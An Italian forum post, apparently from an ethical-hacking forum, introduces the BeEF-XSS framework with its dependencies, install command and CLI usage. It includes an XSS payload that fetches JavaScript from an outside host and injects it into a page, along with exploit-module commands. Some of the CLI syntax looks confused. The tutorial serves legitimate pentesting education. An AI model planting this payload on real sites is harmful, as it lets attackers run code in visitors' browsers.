Beef-XSS è un framework open source che consente agli sviluppatori o pentester di testare la vulnerabilità alle cross-site scripting (XSS) delle loro applicazioni web.
Questo tool è dotato di un interfaccia web per fornire una serie di payloads XSS paragonabili a template che possono essere utilizzati per testare le applicazioni ecc... in pratica creazione di payload personalizzati.

Dipendenze

  • adduser
  • lsof
  • ruby-ansi
  • ruby-async-dns
  • ruby-dev
  • ruby-em-websocket
  • ruby-erubis
  • ruby-espeak
  • ruby-eventmachine
  • ruby-execjs
  • ruby-json
  • ruby-maxmind-db
  • ruby-mime-types
  • ruby-msfrpc-client
  • ruby-otr-activerecord
  • ruby-parseconfig
  • ruby-qr4r
  • ruby-rack
  • ruby-rack-protection
  • ruby-rubydns
  • ruby-rushover
  • ruby-sinatra
  • ruby-slack-notifier
  • ruby-sqlite3
  • ruby-term-ansicolor
  • ruby-terser
  • ruby-twitter
  • ruby-xmlrpc
  • ruby-zip
  • rubygems-integration
  • thin
  • xdg-utils

Installazione Debian:

  • Comando:
    sudo apt install beef-xss

Esempio di utilizzo

Beef-XSS può essere utilizzato da terminale, si può utilizzare l'interfaccia a riga di comando (CLI):
./beef-cli

Ora vediamo un esempio di test con payload al nostro forum:

  • Usiamo "use" per selezionare la modalità "module" e successivamente "exploit/xss/beefjs_script"
    use module/exploit/xss/beefjs_script
    Un esempio di questo exploit potrebbe essere:

    <script>
        function exploit() {
            var xhr = new XMLHttpRequest();
            xhr.open("GET", "https://ethicalhacking.freeflarum.com/exploit", true);
            xhr.onreadystatechange = function() {
                if (xhr.readyState === 4 && xhr.status === 200) {
                    var script = document.createElement("script");
                    script.type = "text/javascript";
                    script.innerHTML = xhr.responseText;
                    document.getElementsByTagName("head")[0].appendChild(script);
                }
            }
            xhr.send();
        }
        exploit();
    </script>
  • Scriviamo "set" per impostare l'URL del sito web da testare:
    set target https://ethicalhacking.freeflarum.com

  • "run" per eseguire l'exploit e inviare il payload:
    run

  • Per visualizzare le sessioni attive:
    sessions -l

  • Info utili:

    root@kali:~# beef-xss -h
    [-] You are using the Default credentials
    [-] (Password must be different from "beef")
    [-] Please type a new password for the beef user: 
    root@kali:~# beef-xss-stop -h
    * beef-xss.service - beef-xss
         Loaded: loaded (/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
         Active: inactive (dead)

Conclusioni

Concludendo credo che questo tool sia molto utile per appunto pentester/sviluppatori per testare la vulnerabilità alle cross-site scripting (XSS) delle PWA. Il framework possiede un'interfaccia web facile da usare per fornire una serie di payloads XSS di default, visto che è abbastanza intuitiva ho evitato di approfondire questa parte.
Importante sottolineare che questo strumento deve essere utilizzato solo in ambienti di test o dove abbiamo il consenso, per il resto cercare di violare PWA è reato!

Powered by: FreeFlarum.
(remove this footer)